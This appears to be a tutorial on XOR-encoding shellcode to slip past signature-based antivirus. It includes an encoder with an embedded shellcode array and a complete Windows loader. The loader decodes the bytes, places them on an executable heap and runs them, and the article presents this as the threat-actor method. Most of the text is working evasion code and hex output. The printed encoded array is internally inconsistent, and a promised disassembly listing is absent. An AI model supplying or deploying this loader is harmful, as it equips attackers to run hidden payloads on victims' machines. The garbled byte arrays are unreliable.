What is XOR Encryption?

Introduction

XOR Encryption is used to obfuscate strings and shellcodes to avoid signature-based detections. The payload is decoded at runtime using a XOR Key restoring the original bytes into the memory before execution. This article will go through XOR encryption and decoding concept and explain the way XOR Encryption is used in the real world.

XOR Encryption & Decryption

XOR Encryption is symmetric which means the same function can be used for both encryption and decryption by applying the same key.

Encryption & Decryption

void XOR(IN unsigned char* buffer, size_t bufferSize, IN unsigned char key[]) {
    for (int i = 0; i < bufferSize; ++i) {
        buffer[i] ^= (key[i % strlen((char*)key)] + 1);
        printf("\\x%02x", buffer[i]);
    }
}

Using the function above, the shellcode can be XOR encoded as shown below. A larger bufferSize value is recommended to prevent shellcode corruption.

Encrypting Shellcode

void XOR(IN unsigned char* buffer, size_t bufferSize, IN unsigned char key[]) {
    for (int i = 0; i < bufferSize; ++i) {
        buffer[i] ^= (key[i % strlen((char*)key)] + 1);
        printf("\\x%02x", buffer[i]);
    }
}
 
int main() {
    unsigned char shellcode[300] =
       "\xdb\xc0\xd9\x74\x24\xf4\xb8\x7e\x6d\x3e\xd2\x5d\x29\xc9"
       "\xb1\x31\x31\x45\x18\x83\xed\xfc\x03\x45\x6a\x8f\xcb\x2e"
       "\x7a\xcd\x34\xcf\x7a\xb2\xbd\x2a\x4b\xf2\xda\x3f\xfb\xc2"
       "\xa9\x12\xf7\xa9\xfc\x86\x8c\xdc\x28\xa8\x25\x6a\x0f\x87"
       "\xb6\xc7\x73\x86\x34\x1a\xa0\x68\x05\xd5\xb5\x69\x42\x08"
       "\x37\x3b\x1b\x46\xea\xac\x28\x12\x37\x46\x62\xb2\x3f\xbb"
       "\x32\xb5\x6e\x6a\x49\xec\xb0\x8c\x9e\x84\xf8\x96\xc3\xa1"
       "\xb3\x2d\x37\x5d\x42\xe4\x06\x9e\xe9\xc9\xa7\x6d\xf3\x0e"
       "\x0f\x8e\x86\x66\x6c\x33\x91\xbc\x0f\xef\x14\x27\xb7\x64"
       "\x8e\x83\x46\xa8\x49\x47\x44\x05\x1d\x0f\x48\x98\xf2\x3b"
       "\x74\x11\xf5\xeb\xfd\x61\xd2\x2f\xa6\x32\x7b\x69\x02\x94"
       "\x84\x69\xed\x49\x21\xe1\x03\x9d\x58\xa8\x49\x60\xee\xd6"
       "\x3f\x62\xf0\xd8\x6f\x0b\xc1\x53\xe0\x4c\xde\xb1\x45\xa2"
       "\x94\x98\xef\x2b\x71\x49\xb2\x31\x82\xa7\xf0\x4f\x01\x42"
       "\x88\xab\x19\x27\x8d\xf0\x9d\xdb\xff\x69\x48\xdc\xac\x8a"
       "\x59\xbf\x33\x19\x01\x6e\xd6\x99\xa0\x6e";
 
    XOR(shellcode, 300, (unsigned char*)"AXR1");
    
    return 0;
}

Output

\x99\x99\x8a\x46\x66\xad\xeb\x4c\x2f\x67\x81\x6f\x6b\x90\xe2\x03\x73\x1c\x4b\xb1\xaf\xa5\x50\x77\x28\xd6\x98\x1c\x38\x94\x67\xfd\x38\xeb\xee\x18\x09\xab\x89\x0d\xb9\x9b\xfa\x20\xb5\xf0\xaf\xb4\xce\x85\x7b\x9a\x67\x33\x5c\xb5\xf4\x9e\x20\xb4\x76\x43\xf3\x5a\x47\x8c\xe6\x5b\x00\x51\x64\x09\x59\x1f\xb9\x9e\x6a\x4b\x64\x74\x20\xeb\x6c\x89\x70\xec\x3d\x58\x0b\xb5\xe3\xbe\xdc\xdd\xab\xa4\x81\xf8\xe0\x1f\x75\x04\x11\xd6\x44\xc7\xba\xfb\xe5\x34\xa0\x3c\x4d\xd7\xd5\x54\x2e\x6a\xc2\x8e\x4d\xb6\x47\x15\xf5\x3d\xdd\xb1\x04\xf1\x1a\x75\x06\x5c\x4e\x3d\x0a\xc1\xa1\x09\x36\x48\xa6\xd9\xbf\x38\x81\x1d\xe4\x6b\x28\x5b\x40\xcd\xd7\x5b\xaf\x10\x72\xd3\x41\xc4\x0b\x9a\x0b\x39\xbd\xe4\x7d\x3b\xa3\xea\x2d\x52\x92\x61\xa2\x15\x8d\x83\x07\xfb\xc7\xaa\xad\x72\x22\x7b\xf0\x68\xd1\x95\xb2\x16\x52\x70\xca\xf2\x4a\x15\xcf\xa9\xce\xe9\xbd\x30\x1b\xee\xee\xd3\x0a\x8d\x71\x40\x52\x5c\x94\xc0\xf3\x5c\x42\x59\x53\x32\x42\x59\x53\x32\x42\x59\x53\x32\x42\x59\x53\x32\x42\x59\x53\x32\x42\x59\x53\x32\x42\x59\x53\x32\x42\x59\x53\x32\x42\x59\x53\x32\x42\x59\x53\x32\x42\x59\x53\x32\x42\x59\x53\x32\x42\x59\x53\x32\x42\x59\x53\x32\x42\x59\x53\x32\x42\x59\x53\x32\x42\x59\x53\x32\x42\x59\x53\x32\x42\x59\x53\x32\x42\x59\x53\x32\x42\x59\x53\x32\x42\x59\x53\x32\x42\x59\x53\x32\x42\x59\x53\x32\x42\x59\x53\x32\x42\x59\x53\x32\x42\x59\x53\x32\x42\x59\x53\x32\x42\x59\x53\x32\x42\x59\x53\x32\x42\x59\x53\x32\x42\x59\x53\x32\x42\x59\x53\x32\x42\x59\x53\x32\x42\x59\x53\x32\x42\x59\x53\x32\x42\x59\x53\x32\x42\x59\x53\x32\x42\x59\x53\x32\x42\x59\x53\x32\x42\x59\x53\x32\x42\x59\x53\x32\x42\x59\x53\x32\x42\x59\x53\x32\x42\x59\x53\x32\x42\x59\x53\x32\x42\x59\x53\x32\x42\x59\x53\x32\x42\x59\x53\x32\x42\x59\x53\x32\x42\x59\x53\x32\x42\x59\x53\x32\x42\x59\x53\x32\x42\x59\x53\x32\x42\x59\x53\x32\x42\x59\x53\x32\x42\x59\x53\x32\x42\x59\x53\x32\x42\x59\x53\x32\x42\x59\x53\x32\x42\x59\x53\x32\x42\x59\x53\x32\x42\x59\x53\x32\x42\x59\x53\x32\x42\x59\x53\x32\x42\x59\x53\x32\x42\x59\x53\x32\x42\x59\x53\x32\x42\x59\x53\x32\x42\x59\x53\x32\xdb\xc0\xd9\x74\x24\xf4\xb8\x7e\x6d\x3e\xd2\x5d\x29\xc9\xb1\x31\x31\x45\x18\x83\xed\xfc\x03\x45\x6a\x8f\xcb\x2e\x7a\xcd\x34\xcf\x7a\xb2\xbd\x2a\x4b\xf2\xda\x3f\xfb\xc2\xa9\x12\xf7\xa9\xfc\x86\x8c\xdc\x28\xa8\x25\x6a\x0f\x87\xb6\xc7\x73\x86\x34\x1a\xa0\x68\x05\xd5\xb5\x69\x42\x08\x37\x3b\x1b\x46\xea\xac\x28\x12\x37\x46\x62\xb2\x3f\xbb\x32\xb5\x6e\x6a\x49\xec\xb0\x8c\x9e\x84\xf8\x96\xc3\xa1\xb3\x2d\x37\x5d\x42\xe4\x06\x9e\xe9\xc9\xa7\x6d\xf3\x0e\x0f\x8e\x86\x66\x6c\x33\x91\xbc\x0f\xef\x14\x27\xb7\x64\x8e\x83\x46\xa8\x49\x47\x44\x05\x1d\x0f\x48\x98\xf2\x3b\x74\x11\xf5\xeb\xfd\x61\xd2\x2f\xa6\x32\x7b\x69\x02\x94\x84\x69\xed\x49\x21\xe1\x03\x9d\x58\xa8\x49\x60\xee\xd6\x3f\x62\xf0\xd8\x6f\x0b\xc1\x53\xe0\x4c\xde\xb1\x45\xa2\x94\x98\xef\x2b\x71\x49\xb2\x31\x82\xa7\xf0\x4f\x01\x42\x88\xab\x19\x27\x8d\xf0\x9d\xdb\xff\x69\x48\xdc\xac\x8a\x59\xbf\x33\x19\x01\x6e\xd6\x99\xa0\x6e\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00

Copy the output from the terminal and replace the shellcode array inside the main function. At runtime, the XOR encoded shellcode will be decoded in the memory.

Real Life Example

The XOR encryption is used by threat actors to bypass signature-based detection by XOR encrypting the shellcode. Here is a real world example of XOR decoding a shellcode and executing it.

main.cpp

#include <iostream>
#include <Windows.h>
 
/*
    Description: The XOR() function is responsible for encrypting and decrypting shellcode.
*/
void XOR(IN unsigned char* buffer, size_t bufferSize, IN unsigned char key[]) {
    for (int i = 0; i < bufferSize; ++i) {
        buffer[i] ^= (key[i % strlen((char*)key)] + 1);
    }
}
 
/*
    Description: The executeShellcode() function is responsible for decoding and executing the shellcode.
*/
void executeShellcode(IN unsigned char* shellcode, size_t bufferSize, IN unsigned char key[]) {
    // Decoding shellcode
    XOR((unsigned char*)shellcode, bufferSize, (unsigned char*)"AXR1");
 
    // Preparing to allocate space in the heap
    HANDLE hHeap = HeapCreate(
        HEAP_CREATE_ENABLE_EXECUTE,
        0,
        0
    );
 
    // Allocating spaces inside the heap
    void* bHeap = HeapAlloc(hHeap, HEAP_ZERO_MEMORY, bufferSize);
 
    // Copying the decoded shellcode to heap memory
    memcpy(bHeap, shellcode, bufferSize);
 
    // Executing the shellcode
    ((void(*)())bHeap)();
}
 
int main() {
    // XOR encoded shellcode
    unsigned char encoded_shellcode[] = "\x99\x99\x8a\x46\x66\xad\xeb\x4c\x2f\x67\x81\x6f\x6b\x90\xe2\x03\x73\x1c\x4b\xb1\xaf\xa5\x50\x77\x28\xd6\x98\x1c\x38\x94\x67\xfd\x38\xeb\xee\x18\x09\xab\x89\x0d\xb9\x9b\xfa\x20\xb5\xf0\xaf\xb4\xce\x85\x7b\x9a\x67\x33\x5c\xb5\xf4\x9e\x20\xb4\x76\x43\xf3\x5a\x47\x8c\xe6\x5b\x00\x51\x64\x09\x59\x1f\xb9\x9e\x6a\x4b\x64\x74\x20\xeb\x6c\x89\x70\xec\x3d\x58\x0b\xb5\xe3\xbe\xdc\xdd\xab\xa4\x81\xf8\xe0\x1f\x75\x04\x11\xd6\x44\xc7\xba\xfb\xe5\x34\xa0\x3c\x4d\xd7\xd5\x54\x2e\x6a\xc2\x8e\x4d\xb6\x47\x15\xf5\x3d\xdd\xb1\x04\xf1\x1a\x75\x06\x5c\x4e\x3d\x0a\xc1\xa1\x09\x36\x48\xa6\xd9\xbf\x38\x81\x1d\xe4\x6b\x28\x5b\x40\xcd\xd7\x5b\xaf\x10\x72\xd3\x41\xc4\x0b\x9a\x0b\x39\xbd\xe4\x7d\x3b\xa3\xea\x2d\x52\x92\x61\xa2\x15\x8d\x83\x07\xfb\xc7\xaa\xad\x72\x22\x7b\xf0\x68\xd1\x95\xb2\x16\x52\x70\xca\xf2\x4a\x15\xcf\xa9\xce\xe9\xbd\x30\x1b\xee\xee\xd3\x0a\x8d\x71\x40\x52\x5c\x94\xc0\xf3\x5c\x42\x59\x53\x32\x42\x59\x53\x32\x42\x59\x53\x32\x42\x59\x53\x32\x42\x59\x53\x32\x42\x59\x53\x32\x42\x59\x53\x32\x42\x59\x53\x32\x42\x59\x53\x32\x42\x59\x53\x32\x42\x59\x53\x32\x42\x59\x53\x32\x42\x59\x53\x32\x42\x59\x53\x32\x42\x59\x53\x32\x42\x59\x53\x32\x42\x59\x53\x32\x42\x59\x53\x32\x42\x59\x53\x32\x42\x59\x53\x32\x42\x59\x53\x32\x42\x59\x53\x32\x42\x59\x53\x32\x42\x59\x53\x32\x42\x59\x53\x32\x42\x59\x53\x32\x42\x59\x53\x32\x42\x59\x53\x32\x42\x59\x53\x32\x42\x59\x53\x32\x42\x59\x53\x32\x42\x59\x53\x32\x42\x59\x53\x32\x42\x59\x53\x32\x42\x59\x53\x32\x42\x59\x53\x32\x42\x59\x53\x32\x42\x59\x53\x32\x42\x59\x53\x32\x42\x59\x53\x32\x42\x59\x53\x32\x42\x59\x53\x32\x42\x59\x53\x32\x42\x59\x53\x32\x42\x59\x53\x32\x42\x59\x53\x32\x42\x59\x53\x32\x42\x59\x53\x32\x42\x59\x53\x32\x42\x59\x53\x32\x42\x59\x53\x32\x42\x59\x53\x32\x42\x59\x53\x32\x42\x59\x53\x32\x42\x59\x53\x32\x42\x59\x53\x32\x42\x59\x53\x32\x42\x59\x53\x32\x42\x59\x53\x32\x42\x59\x53\x32\x42\x59\x53\x32\x42\x59\x53\x32\x42\x59\x53\x32\x42\x59\x53\x32\x42\x59\x53\x32\x42\x59\x53\x32\x42\x59\x53\x32\x42\x59\x53\x32\x42\x59\x53\x32\x42\x59\x53\x32\xdb\xc0\xd9\x74\x24\xf4\xb8\x7e\x6d\x3e\xd2\x5d\x29\xc9\xb1\x31\x31\x45\x18\x83\xed\xfc\x03\x45\x6a\x8f\xcb\x2e\x7a\xcd\x34\xcf\x7a\xb2\xbd\x2a\x4b\xf2\xda\x3f\xfb\xc2\xa9\x12\xf7\xa9\xfc\x86\x8c\xdc\x28\xa8\x25\x6a\x0f\x87\xb6\xc7\x73\x86\x34\x1a\xa0\x68\x05\xd5\xb5\x69\x42\x08\x37\x3b\x1b\x46\xea\xac\x28\x12\x37\x46\x62\xb2\x3f\xbb\x32\xb5\x6e\x6a\x49\xec\xb0\x8c\x9e\x84\xf8\x96\xc3\xa1\xb3\x2d\x37\x5d\x42\xe4\x06\x9e\xe9\xc9\xa7\x6d\xf3\x0e\x0f\x8e\x86\x66\x6c\x33\x91\xbc\x0f\xef\x14\x27\xb7\x64\x8e\x83\x46\xa8\x49\x47\x44\x05\x1d\x0f\x48\x98\xf2\x3b\x74\x11\xf5\xeb\xfd\x61\xd2\x2f\xa6\x32\x7b\x69\x02\x94\x84\x69\xed\x49\x21\xe1\x03\x9d\x58\xa8\x49\x60\xee\xd6\x3f\x62\xf0\xd8\x6f\x0b\xc1\x53\xe0\x4c\xde\xb1\x45\xa2\x94\x98\xef\x2b\x71\x49\xb2\x31\x82\xa7\xf0\x4f\x01\x42\x88\xab\x19\x27\x8d\xf0\x9d\xdb\xff\x69\x48\xdc\xac\x8a\x59\xbf\x33\x19\x01\x6e\xd6\x99\xa0\x6e\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00";
 
    // Executing shellcode
    executeShellcode(encoded_shellcode, 500, (unsigned char*)"AXR1");
 
    return 0;
}

At runtime, the XOR encoded shellcode is decoded in memory and then the shellcode is copied over to the heap which is controlled by us and then the shellcode is executed.

Disassembly Code

When the XOR encryption and decryption function is compiled in release mode the XOR function is shown as the following in x86 assembly.

Experienced reverse engineers will quickly see that the x86 assembly code is performing XOR decoding by viewing the actions the instructions performs.

Conclusion

XOR Encrypting/Decrypting is used by developers and threat actors to obfuscate strings and shellcodes to confuse the reverse engineer. The XOR decoding happens at runtime where it’s decoded in a memory space. It can be used for both good and bad purposes such as developers uses it to protect their code and threat actors uses it to bypass signature-based detection and confuse reverse engineer.